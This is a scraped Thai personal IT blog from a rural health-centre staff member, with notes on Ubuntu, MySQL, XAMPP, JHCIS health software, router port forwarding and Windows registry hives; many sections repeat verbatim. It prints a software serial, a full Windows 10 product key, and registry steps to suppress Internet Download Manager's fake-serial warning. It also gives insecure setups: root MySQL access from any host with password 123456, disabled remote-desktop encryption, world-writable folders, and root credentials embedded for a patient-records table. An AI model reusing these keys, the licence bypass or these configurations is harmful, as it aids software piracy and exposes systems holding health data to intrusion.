SERIAL : ZF3WK-4RZE4-VZ7LM-AGPQT-MCKA7
*.mkv;*.iso;*.mp4;*.avi;*.flv;*.wmv;*.ogg;*.rmvb;*.vob;*.webm;*.mpg;*.ts;*.mov
530235831209
บล็อคของนายปองพล ธรรมคง โรงพยาบาลส่งเสริมสุขภาพตำบลหนองหัวช้าง อำเภอกันทรารมย์ จังหวัดศรีสะเกษ .........งานเทคโนโลยีสารสนเทศ (IT) สสอ.กันทรารมย์ จ.ศรีสะเกษ
หนัง
วันอังคารที่ 1 ธันวาคม พ.ศ. 2558
วันอาทิตย์ที่ 29 พฤศจิกายน พ.ศ. 2558
ubuntu crontab cronlog
แก้ไข crontab
sudo nano /etc/rsyslog.d/50-default.conf
แก้ไขให้ cronlog ให้ทำงาน
sudo nano /etc/rsyslog.d/50-default.conf
โดยเปลี่ยน
#cron.* เป็น cron*
แล้วรีสตารท์ sudo service rsyslog restart
ตัว log อยู่ที่ /var/log/cron.log
สั่งให้แสดง grep CRON /var/log/syslog
วันศุกร์ที่ 27 พฤศจิกายน พ.ศ. 2558
การตั้งค่า Ubuntu 14.04.3
ติดตั้ง ubuntu เสร็จเข้า Ubuntu Software Center ติดตั้ง Samba ก่อนเลย ((อย่าเพิ่ง fix ip)
========================================================================
แก้ปัญหา remote desktop ใน ubuntu
พิมพ์ dconf-editor ใน terminal
ไปที่ org->gnome->desktop->remote-access
ไม่เช็ค require-encryption
ถ้าเปิด desktop sharing ไว้ก่อนให้แก้ค่าโดยคำสั่ง
gsettings set org.gnome.Vino require-encryption false
แล้วเข้่าไปตั้งค่า
========================================================================
การติดตั้ง mySQL
-------------------------------------------------------------------------
เรียกดูชื่อ host
hostname
hostname -f
-------------------------------------------------------------------------
เตรียมระบบให้เป็นปัจจุบัน
sudo apt-get update
sudo apt-get upgrade
-------------------------------------------------------------------------
เริ่มการติดตั้ง
sudo apt-get install mysql-server
sudo /etc/init.d/mysql start
-------------------------------------------------------------------------|
ตั้งค่า mySQL |
sudo nano /etc/mysql/mysql.conf.d/mysqld.cnf |
-------------------------------------------------------------------------|
ตั้งค่า port mySQL |
[mysqld] |
port = 3333 |
-------------------------------------------------------------------------|
ตั้งค่าให้เรียกใช้ mySQL จากเครื่องอื่นได้ |
#bind-address = 127.0.0.1 |
#skip-external-locking |
-------------------------------------------------------------------------|
mysql -u root -p
เปลี่ยน password mySQL
UPDATE mysql.user SET Password=PASSWORD('123456') WHERE User='root';
UPDATE mysql.user SET authentication_string=PASSWORD('123456') WHERE User='root';
FLUSH PRIVILEGES;
-------------------------------------------------------------------------
run ใน terminal เพื่อให้เรียกใช้ mySQL จากเครื่องอื่นได้
mysql --port=3333 -u root -p
GRANT ALL PRIVILEGES ON *.* TO root@'%' IDENTIFIED BY '123456';
FLUSH PRIVILEGES;
-------------------------------------------------------------------------
sudo /etc/init.d/mysql start
คำสั่งอื่นๆ
sudo /etc/init.d/mysql stop
sudo /etc/init.d/mysql restart
sudo /etc/init.d/mysql status
sudo restart mysql
sudo /etc/init.d/apache2 start
========================================================================
ติดตั้ง Java
-------------------------------------------------------------------------
ตั้งค่า alternatives path ของ java + javac
sudo update-alternatives --config java
sudo update-alternatives --config javac
-------------------------------------------------------------------------
ตั้งค่า path+java_home ของ java
export PATH=$PATH:/usr/lib/jvm/java-7-openjdk-amd64/jre/bin/java
export JAVA_HOME=/usr/lib/jvm/java-7-openjdk-amd64/jre/bin/java
-------------------------------------------------------------------------
เรียกดู path+java_home ของ java
echo $PATH
echo JAVA_HOME
========================================================================
ติดตั้ง Search for files...
ติดตั้ง Navicat ใน Ubuntu
Download: http://download3.navicat.com/download/navicat111_mysql_en.tar.gz
Open terminal
Go to Downloads folder: cd Downloads/
untar: tar -xvf navicat111_mysql_en.tar.gz
go to Navicat extracted folder : cd navicat111_mysql_en
open Navicat: ./start_navicat
You can find resource to intall linux version on:
http://www.navicat.com/download/navicat-for-mysql
========================================================================
ติดตั้ง Xampp ใน Ubuntu
cd ~/Downloads
sudo su
sudo chmod 777 -R xampp-linux-x64-5.6.14-4-installer.run
./xampp-linux-x64-5.6.14-4-installer.run
========================================================================
แก้ปัญหา remote desktop ใน ubuntu
sudo add-apt-repository universe
sudo apt update
sudo apt install dconf-cli dconf-editor
พิมพ์ dconf-editor ใน terminal
ไปที่ org->gnome->desktop->remote-access
ไม่เช็ค require-encryption
ถ้าเปิด desktop sharing ไว้ก่อนให้แก้ค่าโดยคำสั่ง
gsettings set org.gnome.Vino require-encryption false
แล้วเข้่าไปตั้งค่า
========================================================================
การติดตั้ง mySQL
-------------------------------------------------------------------------
เรียกดูชื่อ host
hostname
hostname -f
-------------------------------------------------------------------------
เตรียมระบบให้เป็นปัจจุบัน
sudo apt-get update
sudo apt-get upgrade
-------------------------------------------------------------------------
เริ่มการติดตั้ง
sudo apt-get install mysql-server
sudo /etc/init.d/mysql start
-------------------------------------------------------------------------|
ตั้งค่า mySQL |
sudo nano /etc/mysql/mysql.conf.d/mysqld.cnf |
-------------------------------------------------------------------------|
ตั้งค่า port mySQL |
[mysqld] |
port = 3333 |
-------------------------------------------------------------------------|
ตั้งค่าให้เรียกใช้ mySQL จากเครื่องอื่นได้ |
#bind-address = 127.0.0.1 |
#skip-external-locking |
-------------------------------------------------------------------------|
mysql -u root -p
เปลี่ยน password mySQL
UPDATE mysql.user SET Password=PASSWORD('123456') WHERE User='root';
UPDATE mysql.user SET authentication_string=PASSWORD('123456') WHERE User='root';
FLUSH PRIVILEGES;
-------------------------------------------------------------------------
run ใน terminal เพื่อให้เรียกใช้ mySQL จากเครื่องอื่นได้
mysql --port=3333 -u root -p
GRANT ALL PRIVILEGES ON *.* TO root@'%' IDENTIFIED BY '123456';
FLUSH PRIVILEGES;
-------------------------------------------------------------------------
sudo /etc/init.d/mysql start
คำสั่งอื่นๆ
sudo /etc/init.d/mysql stop
sudo /etc/init.d/mysql restart
sudo /etc/init.d/mysql status
sudo restart mysql
sudo /etc/init.d/apache2 start
========================================================================
ติดตั้ง Java
-------------------------------------------------------------------------
ตั้งค่า alternatives path ของ java + javac
sudo update-alternatives --config java
sudo update-alternatives --config javac
-------------------------------------------------------------------------
ตั้งค่า path+java_home ของ java
export PATH=$PATH:/usr/lib/jvm/java-7-openjdk-amd64/jre/bin/java
export JAVA_HOME=/usr/lib/jvm/java-7-openjdk-amd64/jre/bin/java
-------------------------------------------------------------------------
เรียกดู path+java_home ของ java
echo $PATH
echo JAVA_HOME
========================================================================
ติดตั้ง Search for files...
sudo apt install mate-utils
mate-search-tool
========================================================================ติดตั้ง Navicat ใน Ubuntu
Download: http://download3.navicat.com/download/navicat111_mysql_en.tar.gz
Open terminal
Go to Downloads folder: cd Downloads/
untar: tar -xvf navicat111_mysql_en.tar.gz
go to Navicat extracted folder : cd navicat111_mysql_en
open Navicat: ./start_navicat
You can find resource to intall linux version on:
http://www.navicat.com/download/navicat-for-mysql
========================================================================
ติดตั้ง Xampp ใน Ubuntu
cd ~/Downloads
sudo su
sudo chmod 777 -R xampp-linux-x64-5.6.14-4-installer.run
./xampp-linux-x64-5.6.14-4-installer.run
วันจันทร์ที่ 9 พฤศจิกายน พ.ศ. 2558
วันเสาร์ที่ 7 พฤศจิกายน พ.ศ. 2558
วันพฤหัสบดีที่ 5 พฤศจิกายน พ.ศ. 2558
วันพุธที่ 4 พฤศจิกายน พ.ศ. 2558
วันจันทร์ที่ 2 พฤศจิกายน พ.ศ. 2558
winkey.txt
Product Name : Windows 10 Pro
Product ID : 00331-20020-00000-AA583
Product Key : QJNXR-YD97Q-K7WH4-RYWQ8-6MT6Y
Installation Folder : C:\WINDOWS
Service Pack :
Computer Name : POLNGPOLE-NB
Modified Time : 26/9/2558 21:10:16
==================================================
Build 10240
Product ID : 00331-20020-00000-AA583
Product Key : QJNXR-YD97Q-K7WH4-RYWQ8-6MT6Y
Installation Folder : C:\WINDOWS
Service Pack :
Computer Name : POLNGPOLE-NB
Modified Time : 26/9/2558 21:10:16
==================================================
Build 10240
วันเสาร์ที่ 31 ตุลาคม พ.ศ. 2558
วันศุกร์ที่ 2 ตุลาคม พ.ศ. 2558
Where are the Windows registry files located in Windows 7 / 8 ?
The Windows Registry is the centralized configuration database for Windows NT and Windows 2000, as well as for applications. The Registry stores information about tuning parameters, device configuration, and user preferences.
On disk, the Windows Registry isn’t simply one large file but a set of discrete files called hives. Each hive contains a Registry tree, which has a key that serves as the root (i.e., starting point) of the tree. Subkeys and their values reside beneath the root.
Location of Windows registry files
The location of these registry hives are as follows:
HKEY_LOCAL_MACHINE \SYSTEM : \system32\config\system
HKEY_LOCAL_MACHINE \SAM : \system32\config\sam
HKEY_LOCAL_MACHINE \SECURITY : \system32\config\security
HKEY_LOCAL_MACHINE \SOFTWARE : \system32\config\software
HKEY_USERS \UserProfile : \winnt\profiles\username
HKEY_USERS.DEFAULT : \system32\config\default
HKEY_LOCAL_MACHINE \SAM : \system32\config\sam
HKEY_LOCAL_MACHINE \SECURITY : \system32\config\security
HKEY_LOCAL_MACHINE \SOFTWARE : \system32\config\software
HKEY_USERS \UserProfile : \winnt\profiles\username
HKEY_USERS.DEFAULT : \system32\config\default
Some hives are volatile and don’t have associated files. The system creates and manages these hives entirely in memory; the hives are therefore temporary in nature. The system creates volatile hives every time the system boots. Examples are:
HKEY_LOCAL_MACHINE \HARDWARE : Volatile hive
HKEY_LOCAL_MACHINE \SYSTEM \Clone : Volatile hive
HKEY_LOCAL_MACHINE \SYSTEM \Clone : Volatile hive
These files are database files, and only RegEdit, Regedit32 and the Kernel32 can read them. The primary tool in Windows 7 for working directly with the registry is Registry Editor. To access it, simply type Regedit in Start Menu Search Bar and hit Enter !
If you need to read more on this, head over to TechNet!
UPDATE: AccidentalADMIN has made a useful comment. He says:
Every Windows got a registry Key which lists every hive in system. Open Regedit and navigate to the following key to get a complete list:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\hivelist
วันจันทร์ที่ 21 กันยายน พ.ศ. 2558
วันอังคารที่ 8 กันยายน พ.ศ. 2558
MySQL password
Null to 123456
"C:\Program Files\jHCIS\MySQL\bin\mysql" -P 3333 -u root --execute="GRANT ALL ON *.* TO root@localhost IDENTIFIED BY '123456';
"C:\Program Files\jHCIS\MySQL\bin\mysql" -P 3333 -u root --execute="GRANT ALL ON *.* TO root@'%' IDENTIFIED BY '123456';"
123456 to 123XXYY
"C:\Program Files\jHCIS\MySQL\bin\mysql" -P 3333 -u root -p123456 --execute="GRANT ALL ON *.* TO root@localhost IDENTIFIED BY '123XXYY';
"C:\Program Files\jHCIS\MySQL\bin\mysql" -P 3333 -u root -p123456 --execute="GRANT ALL ON *.* TO root@'%' IDENTIFIED BY '123XXYY';"
"C:\Program Files\jHCIS\MySQL\bin\mysql" -P 3333 -u root --execute="GRANT ALL ON *.* TO root@localhost IDENTIFIED BY '123456';
"C:\Program Files\jHCIS\MySQL\bin\mysql" -P 3333 -u root --execute="GRANT ALL ON *.* TO root@'%' IDENTIFIED BY '123456';"
123456 to 123XXYY
"C:\Program Files\jHCIS\MySQL\bin\mysql" -P 3333 -u root -p123456 --execute="GRANT ALL ON *.* TO root@localhost IDENTIFIED BY '123XXYY';
"C:\Program Files\jHCIS\MySQL\bin\mysql" -P 3333 -u root -p123456 --execute="GRANT ALL ON *.* TO root@'%' IDENTIFIED BY '123XXYY';"
วันศุกร์ที่ 21 สิงหาคม พ.ศ. 2558
Cubby on Ubuntu 12.10
from http://tunafreedolphin.com/?p=410 by © 2015 John's Stuff
gvfs-info network:// ดูรายละเอียด network
วันศุกร์ที่ 14 สิงหาคม พ.ศ. 2558
วันพฤหัสบดีที่ 23 กรกฎาคม พ.ศ. 2558
วันอังคารที่ 21 กรกฎาคม พ.ศ. 2558
วันเสาร์ที่ 11 กรกฎาคม พ.ศ. 2558
วันศุกร์ที่ 10 กรกฎาคม พ.ศ. 2558
วันพฤหัสบดีที่ 9 กรกฎาคม พ.ศ. 2558
วันอังคารที่ 7 กรกฎาคม พ.ศ. 2558
เครดิท : บทความนี้คัดลอกมาจาก
http://www.sysnetcenter.com/board/index.php?topic=2454.0
ชื่อหัวข้ออาจจะงง

โดยปกติ ถ้าเป็นระบบ Internet ADSL หรือ Cable ที่สามารถ Config ตัว Modem เป็น Bridge ได้ และให้ Router เป็นตัวออก Internet โดย Config เป็นแบบ PPPoE Client ทาง User ก็สามารถทำ Dynamic DNS และ Forward Port ที่ตัว Router ได้เลย
แต่ถ้าเชื่อมต่อลักษณะ Router ซ้อน Router หรือ NAT ซ้อน NAT อีกที เช่นตัว Router ที่ต่อออก Internet ไม่สามารถ set เป็น bridge ได้ (ส่วนใหญ่จะเป็นระบบ Cable, Fiber Optic) เมื่อนำ Router อีกตัวมาต่อ เพื่อแยกอีกวง Network การทำ Forward Port ต้องทำที่ Router ทั้ง 2 ตัวครับ
ดูลักษณะการต่อจากรูปครับ

ในตัวอย่าง
Internet เข้ามาที่ Load Balance Cisco RV042 โดย IP ของ RV042 นี้จะเป็น 192.168.1.1 จากนั้นต่อเข้าที่ eth1 ของ Mikrotik โดยปกติที่ทางร้าน Sysnet ทำการ Config ไปให้จะเป็นขา Wan สมมุติให้เป็น IP: 192.168.1.15 และ IP Address ที่ฝั่ง Lan ของ Mikrotik จะเป็น 192.168.2.1 แล้วต่อเข้า NAS หมายเลข IP จะเป็น 192.168.2.3 ตั้ง Remote Port เป็น 5000 ต้องการจะ Remote เข้ามาเพื่อ Manage ผ่าน Internet จากข้างนอกวงได้ เช่นผ่านเครือข่าย 3G
1. Config Cisco RV042 ให้เชื่อมต่อ Internet รวมถึงทำ Dynamic DNS ให้เรียบร้อย
2. อุปกรณ์ Mikrotik จะอ้างอิงจากที่ทางร้าน Config เบื้องต้นไปให้ครับ ขา Eth1 เป็นขา WAN และ Eth2-Eth5 เป็น Bridge และ IP Address เป็น 192.168.2.1 ในกรณีที่ IP เป็น 192.168.1.1 ให้เปลี่ยน IP ที่ RV042 เป็น 192.168.2.1 แทน (ง่ายสุด เวลา Config ตามหัวข้อนี้ก็กลับค่ากันนะครับ) หรือจะแก้ไข IP ของ Mikrotik ให้เป็น 192.168.2.1 แล้วแต่สะดวกครับ
IP Address ระหว่าง RV042 และ Mikrotik ห้ามอยู่ใน Subnet เดียวกัน
3. เข้า Wnbox ใน Mikrotik ให้ปิด DHCP Client ของ Eth1 ให้เรียบร้อยก่อน IP --> DHCP Client
4. กำหนดค่า IP Address ให้ขา Eth1 ตัวอย่างจะเป็น 192.168.1.15

5. สร้าง Route เข้า Menu IP --> Route
ตัวอย่างจะชี้ Gate Way ไปที่ RV042

6. ทำการ Forward Port
ตัวอย่างที่ทำไว้จะเป็น NAS โดยชี้ที่ Port 5000

7. ทดสอบออก Internet ให้เรียบร้อย

8. เข้าหน้าจอ Config ของ Cisco RV042 เปลี่ยน IP ให้อยู่คนละวง Network กับ Mikrotik นะครับ
เข้า Menu Forwarding เพิ่ม Port 5000

ทำการ Forward Port 5000 ไปยัง IP ขา Wan ของ Mikrotik คือ 192.168.1.15

ทดสอบ Remote จาก iPhone ผ่านเครือข่าย 3G ครับ

ถ้ามีอุปกรณ์ Network อื่นๆที่ต่อหลัง Mikrotik และต้องการ Forward Port เข้าไป ก็ให้เพิ่มหมายเลข Port ที่ RV042 ตามข้อ 8 โดยชี้ IP ไปที่ 192.168.1.15 ทุกๆ Port ครับ
เรียบร้อยครับ
http://www.sysnetcenter.com/board/index.php?topic=2454.0
การ Forward Port สำหรับ Network ที่มี
Router ซ้อน Router
ชื่อหัวข้ออาจจะงง
โดยปกติ ถ้าเป็นระบบ Internet ADSL หรือ Cable ที่สามารถ Config ตัว Modem เป็น Bridge ได้ และให้ Router เป็นตัวออก Internet โดย Config เป็นแบบ PPPoE Client ทาง User ก็สามารถทำ Dynamic DNS และ Forward Port ที่ตัว Router ได้เลย
แต่ถ้าเชื่อมต่อลักษณะ Router ซ้อน Router หรือ NAT ซ้อน NAT อีกที เช่นตัว Router ที่ต่อออก Internet ไม่สามารถ set เป็น bridge ได้ (ส่วนใหญ่จะเป็นระบบ Cable, Fiber Optic) เมื่อนำ Router อีกตัวมาต่อ เพื่อแยกอีกวง Network การทำ Forward Port ต้องทำที่ Router ทั้ง 2 ตัวครับ
ดูลักษณะการต่อจากรูปครับ
ในตัวอย่าง
Internet เข้ามาที่ Load Balance Cisco RV042 โดย IP ของ RV042 นี้จะเป็น 192.168.1.1 จากนั้นต่อเข้าที่ eth1 ของ Mikrotik โดยปกติที่ทางร้าน Sysnet ทำการ Config ไปให้จะเป็นขา Wan สมมุติให้เป็น IP: 192.168.1.15 และ IP Address ที่ฝั่ง Lan ของ Mikrotik จะเป็น 192.168.2.1 แล้วต่อเข้า NAS หมายเลข IP จะเป็น 192.168.2.3 ตั้ง Remote Port เป็น 5000 ต้องการจะ Remote เข้ามาเพื่อ Manage ผ่าน Internet จากข้างนอกวงได้ เช่นผ่านเครือข่าย 3G
1. Config Cisco RV042 ให้เชื่อมต่อ Internet รวมถึงทำ Dynamic DNS ให้เรียบร้อย
2. อุปกรณ์ Mikrotik จะอ้างอิงจากที่ทางร้าน Config เบื้องต้นไปให้ครับ ขา Eth1 เป็นขา WAN และ Eth2-Eth5 เป็น Bridge และ IP Address เป็น 192.168.2.1 ในกรณีที่ IP เป็น 192.168.1.1 ให้เปลี่ยน IP ที่ RV042 เป็น 192.168.2.1 แทน (ง่ายสุด เวลา Config ตามหัวข้อนี้ก็กลับค่ากันนะครับ) หรือจะแก้ไข IP ของ Mikrotik ให้เป็น 192.168.2.1 แล้วแต่สะดวกครับ
IP Address ระหว่าง RV042 และ Mikrotik ห้ามอยู่ใน Subnet เดียวกัน
3. เข้า Wnbox ใน Mikrotik ให้ปิด DHCP Client ของ Eth1 ให้เรียบร้อยก่อน IP --> DHCP Client
4. กำหนดค่า IP Address ให้ขา Eth1 ตัวอย่างจะเป็น 192.168.1.15
5. สร้าง Route เข้า Menu IP --> Route
ตัวอย่างจะชี้ Gate Way ไปที่ RV042
6. ทำการ Forward Port
ตัวอย่างที่ทำไว้จะเป็น NAS โดยชี้ที่ Port 5000
7. ทดสอบออก Internet ให้เรียบร้อย
8. เข้าหน้าจอ Config ของ Cisco RV042 เปลี่ยน IP ให้อยู่คนละวง Network กับ Mikrotik นะครับ
เข้า Menu Forwarding เพิ่ม Port 5000
ทำการ Forward Port 5000 ไปยัง IP ขา Wan ของ Mikrotik คือ 192.168.1.15
ทดสอบ Remote จาก iPhone ผ่านเครือข่าย 3G ครับ
ถ้ามีอุปกรณ์ Network อื่นๆที่ต่อหลัง Mikrotik และต้องการ Forward Port เข้าไป ก็ให้เพิ่มหมายเลข Port ที่ RV042 ตามข้อ 8 โดยชี้ IP ไปที่ 192.168.1.15 ทุกๆ Port ครับ
เรียบร้อยครับ
วันอังคารที่ 30 มิถุนายน พ.ศ. 2558
วันเสาร์ที่ 23 พฤษภาคม พ.ศ. 2558
JHCIS
JHCIS for windows used mySQL 5.1.11
Install xampp-linux-1.7.0
wget http://jaist.dl.sourceforge.net/project/xampp/XAMPP%20Linux/1.7/xampp-linux-1.7.tar.gz
tar xvfz xampp-linux-1.7.tar.gz -C /opt
sudo chmod 777 -R /opt/lampp/htdocs/
/opt/lampp/lampp start
Ubuntu Virtualbox share folder
gksudo gedit /etc/init.d/rc.local 1.mount -t vboxsf htdocs H:\xampp\htdocs 2.save 3.close gksudo nuatilus
Install xampp-linux-1.7.0
wget http://jaist.dl.sourceforge.net/project/xampp/XAMPP%20Linux/1.7/xampp-linux-1.7.tar.gz
tar xvfz xampp-linux-1.7.tar.gz -C /opt
sudo chmod 777 -R /opt/lampp/htdocs/
/opt/lampp/lampp start
Ubuntu Virtualbox share folder
gksudo gedit /etc/init.d/rc.local 1.mount -t vboxsf htdocs H:\xampp\htdocs 2.save 3.close gksudo nuatilus
วันอังคารที่ 19 พฤษภาคม พ.ศ. 2558
คำสั่ง redirect ไป google
<html>
<head>
<meta http-equiv="refresh" content="0;URL=https://www.google.co.th"/>
</head>
</html>
<head>
<meta http-equiv="refresh" content="0;URL=https://www.google.co.th"/>
</head>
</html>
วันอาทิตย์ที่ 17 พฤษภาคม พ.ศ. 2558
temp
--default-character-set=utf8 -u root -p123456 jhcisdb --routines --compatible=no_key_options >
ทดสอบ web บน GoogleDrive
อักขระพิเศษต่างๆ ของ HTML
ทดสอบ web บน GoogleDrive
PHP Shell Script รันโปรแกรมได้ไม่ต้องผ่านหน้า website
<?PHP
$externalIp = file_get_contents('http://phihag.de/ip/');
echo $externalIp;
?>
$externalIp = file_get_contents('http://phihag.de/ip/');
echo $externalIp;
?>
< |
< |
! |
! |
# |
# |
วันเสาร์ที่ 2 พฤษภาคม พ.ศ. 2558
วิธีแก้ IDM ฟ้อง Internet Download Manager has been registered with a fake serial number
วิธีแก้ IDM ฟ้อง Internet Download Manager has been registered with a fake serial number (ถ้าไม่ฟ้อง มันจะหา Checkupdtvm ไม่เจอนะครับ) *** ใน Window 7 64 bit ต้องทำ 3-4 ครั้งนะครับถึงจะหาย
1. กดปุ่ม Start >> run
2. พิมพ์ regedit
3. เลือกหัวข้อ HKEY_CURRENT_USER
4. เลือกหัวข้อ SOFTWARE
5. เลือกหัวข้อ DOWNLOADMANAGER
6. ค้นหาชื่อ Checkupdtvm
7. ดับเบิ้ลคลิกที่ Checkupdtvm แล้วเปลี่ยน volume เป็น 0
วันจันทร์ที่ 27 เมษายน พ.ศ. 2558
วันเสาร์ที่ 4 เมษายน พ.ศ. 2558
แก้ปัญหา gnome ubuntu
sudo apt-get update
sudo apt-get upgrade
sudo apt-get install --reinstall gnome-session
startx
sudo apt-get upgrade
sudo apt-get install --reinstall gnome-session
startx
วันพฤหัสบดีที่ 2 เมษายน พ.ศ. 2558
mysql-5.0.51b.tar.gz
https://downloads.mariadb.com/archives/mysql-5.0/mysql-5.0.51b.tar.gz
sudo /etc/init.d/mysql stop
sudo /opt/lampp/lampp startmysql
"tar -zxvf mysql-5.0.51b.tar.gz"
http://repository.timesys.com/buildsources/m/mysql/mysql-5.0.51b/mysql-5.0.51b.tar.gz
"tar -zxvf mysql-5.0.51b.tar.gz"
http://repository.timesys.com/buildsources/m/mysql/mysql-5.0.51b/mysql-5.0.51b.tar.gz
วันเสาร์ที่ 28 มีนาคม พ.ศ. 2558
bat restore
cd\
cd C:\Program Files\JHCIS\MySQL\bin
mysql --default-character-set=utf8 -uroot -p123456 -P3333 -f jhcisdb < "C:\\sqlBackupFileName.sql"
pause
cd C:\Program Files\JHCIS\MySQL\bin
mysql --default-character-set=utf8 -uroot -p123456 -P3333 -f jhcisdb < "C:\\sqlBackupFileName.sql"
pause
วันพุธที่ 11 มีนาคม พ.ศ. 2558
create_person_FEDERATED ( remote sever table mysql )
DROP TABLE IF EXISTS `person_FEDERATED`;
CREATE TABLE `person_FEDERATED` (
`pcucodeperson` char(5) NOT NULL default '',
`pid` int(11) NOT NULL,
`hcode` int(11) NOT NULL,
`prename` varchar(20) default NULL,
`fname` varchar(25) NOT NULL,
`lname` varchar(35) default NULL,
`birth` date default NULL,
`sex` varchar(1) NOT NULL,
`idcard` varchar(13) default NULL,
`bloodgroup` varchar(2) default NULL,
`bloodrh` varchar(1) default NULL,
`allergic` varchar(100) default NULL,
`marystatus` varchar(1) default NULL,
`educate` char(2) default NULL,
`occupa` char(4) default NULL,
`nation` varchar(3) default NULL,
`origin` varchar(3) default NULL,
`intercode` varchar(2) default NULL,
`religion` char(2) default NULL,
`familyno` tinyint(4) default NULL,
`familyposition` varchar(1) default NULL,
`income` double default NULL,
`typelive` varchar(1) default NULL,
`datein` date default NULL,
`dischargetype` varchar(1) default NULL,
`dischargedate` date default NULL,
`father` varchar(257) default NULL,
`fatherid` varchar(13) default NULL,
`mother` varchar(257) default NULL,
`motherid` varchar(13) default NULL,
`mate` varchar(257) default NULL,
`mateid` varchar(13) default NULL,
`privatedoc` varchar(255) default NULL,
`rightcode` char(4) default NULL,
`rightno` varchar(18) default NULL,
`hosmain` char(9) default NULL,
`hossub` char(9) default NULL,
`dateregis` date default NULL,
`datestart` date default NULL,
`dateexpire` date default NULL,
`officework` char(254) default NULL,
`hnomoi` varchar(75) default NULL,
`roadmoi` varchar(50) default NULL,
`mumoi` char(2) default NULL,
`subdistcodemoi` char(2) default NULL,
`distcodemoi` char(2) default NULL,
`provcodemoi` char(2) default NULL,
`postcodemoi` char(5) default NULL,
`telephoneperson` varchar(35) default NULL,
`hcodeoldin` int(11) default NULL,
`dateupdate` datetime default NULL,
`flag18fileexpo` varchar(1) default NULL,
`messengername` varchar(255) default NULL,
`messengeraddr` varchar(255) default NULL,
`messengertel` varchar(55) default NULL,
`patientrelate` varchar(255) default NULL,
`mommilk` int(11) default NULL,
`persondisease` varchar(350) default NULL,
`flagoffline` char(1) default NULL,
`nickname` varchar(25) default NULL,
`prenameeng` varchar(25) default NULL,
`fnameeng` varchar(35) default NULL,
`lnameeng` varchar(45) default NULL,
`person_house_position_id_from_hosxp` int(11) default NULL,
`Address from antidrug` text,
`Update Date antidrug` date default NULL,
`passpotnumber` varchar(37) default NULL,
`workpermitnumber` varchar(37) default NULL,
`hidmoi11` char(11) default NULL,
`housetype` char(1) default NULL,
`roomno` varchar(10) default NULL,
`condo` varchar(75) default NULL,
`soisub` varchar(255) default NULL,
`soimain` varchar(255) default NULL,
`dateupdateaddressout` datetime default NULL,
`candobedhomesocial` char(1) default NULL,
`beastprojectout` char(1) default NULL,
PRIMARY KEY (`pcucodeperson`,`pid`),
UNIQUE KEY `id_Card` (`pcucodeperson`,`idcard`),
UNIQUE KEY `RN` (`pcucodeperson`,`rightno`),
KEY `house_pers` (`pcucodeperson`,`hcode`),
KEY `per_educate` (`educate`),
KEY `per_nation` (`nation`),
KEY `per_race` (`origin`),
KEY `per_occupa` (`occupa`),
KEY `per_relig` (`religion`),
KEY `per_right` (`rightcode`),
KEY `per_status` (`marystatus`),
KEY `per_hosmain` (`hosmain`),
KEY `chos_pshs1` (`hossub`),
CONSTRAINT `person_ibfk_1` FOREIGN KEY (`hossub`) REFERENCES `chospital` (`hoscode`) ON UPDATE CASCADE,
CONSTRAINT `person_ibfk_10` FOREIGN KEY (`occupa`) REFERENCES `coccupa` (`occupacode`) ON UPDATE CASCADE,
CONSTRAINT `person_ibfk_2` FOREIGN KEY (`origin`) REFERENCES `cnation` (`nationcode`) ON UPDATE CASCADE,
CONSTRAINT `person_ibfk_3` FOREIGN KEY (`religion`) REFERENCES `creligion` (`religioncode`) ON UPDATE CASCADE,
CONSTRAINT `person_ibfk_4` FOREIGN KEY (`rightcode`) REFERENCES `cright` (`rightcode`) ON UPDATE CASCADE,
CONSTRAINT `person_ibfk_5` FOREIGN KEY (`marystatus`) REFERENCES `cstatus` (`statuscode`) ON UPDATE CASCADE,
CONSTRAINT `person_ibfk_6` FOREIGN KEY (`pcucodeperson`, `hcode`) REFERENCES `house` (`pcucode`, `hcode`) ON UPDATE CASCADE,
CONSTRAINT `person_ibfk_7` FOREIGN KEY (`educate`) REFERENCES `ceducation` (`educationcode`) ON UPDATE CASCADE,
CONSTRAINT `person_ibfk_8` FOREIGN KEY (`hosmain`) REFERENCES `chospital` (`hoscode`) ON UPDATE CASCADE,
CONSTRAINT `person_ibfk_9` FOREIGN KEY (`nation`) REFERENCES `cnation` (`nationcode`) ON UPDATE CASCADE
)
ENGINE=FEDERATED
DEFAULT CHARSET=utf8
CONNECTION='mysql://root:123456@127.0.0.1:3333/jhcisdb/person';
CREATE TABLE `person_FEDERATED` (
`pcucodeperson` char(5) NOT NULL default '',
`pid` int(11) NOT NULL,
`hcode` int(11) NOT NULL,
`prename` varchar(20) default NULL,
`fname` varchar(25) NOT NULL,
`lname` varchar(35) default NULL,
`birth` date default NULL,
`sex` varchar(1) NOT NULL,
`idcard` varchar(13) default NULL,
`bloodgroup` varchar(2) default NULL,
`bloodrh` varchar(1) default NULL,
`allergic` varchar(100) default NULL,
`marystatus` varchar(1) default NULL,
`educate` char(2) default NULL,
`occupa` char(4) default NULL,
`nation` varchar(3) default NULL,
`origin` varchar(3) default NULL,
`intercode` varchar(2) default NULL,
`religion` char(2) default NULL,
`familyno` tinyint(4) default NULL,
`familyposition` varchar(1) default NULL,
`income` double default NULL,
`typelive` varchar(1) default NULL,
`datein` date default NULL,
`dischargetype` varchar(1) default NULL,
`dischargedate` date default NULL,
`father` varchar(257) default NULL,
`fatherid` varchar(13) default NULL,
`mother` varchar(257) default NULL,
`motherid` varchar(13) default NULL,
`mate` varchar(257) default NULL,
`mateid` varchar(13) default NULL,
`privatedoc` varchar(255) default NULL,
`rightcode` char(4) default NULL,
`rightno` varchar(18) default NULL,
`hosmain` char(9) default NULL,
`hossub` char(9) default NULL,
`dateregis` date default NULL,
`datestart` date default NULL,
`dateexpire` date default NULL,
`officework` char(254) default NULL,
`hnomoi` varchar(75) default NULL,
`roadmoi` varchar(50) default NULL,
`mumoi` char(2) default NULL,
`subdistcodemoi` char(2) default NULL,
`distcodemoi` char(2) default NULL,
`provcodemoi` char(2) default NULL,
`postcodemoi` char(5) default NULL,
`telephoneperson` varchar(35) default NULL,
`hcodeoldin` int(11) default NULL,
`dateupdate` datetime default NULL,
`flag18fileexpo` varchar(1) default NULL,
`messengername` varchar(255) default NULL,
`messengeraddr` varchar(255) default NULL,
`messengertel` varchar(55) default NULL,
`patientrelate` varchar(255) default NULL,
`mommilk` int(11) default NULL,
`persondisease` varchar(350) default NULL,
`flagoffline` char(1) default NULL,
`nickname` varchar(25) default NULL,
`prenameeng` varchar(25) default NULL,
`fnameeng` varchar(35) default NULL,
`lnameeng` varchar(45) default NULL,
`person_house_position_id_from_hosxp` int(11) default NULL,
`Address from antidrug` text,
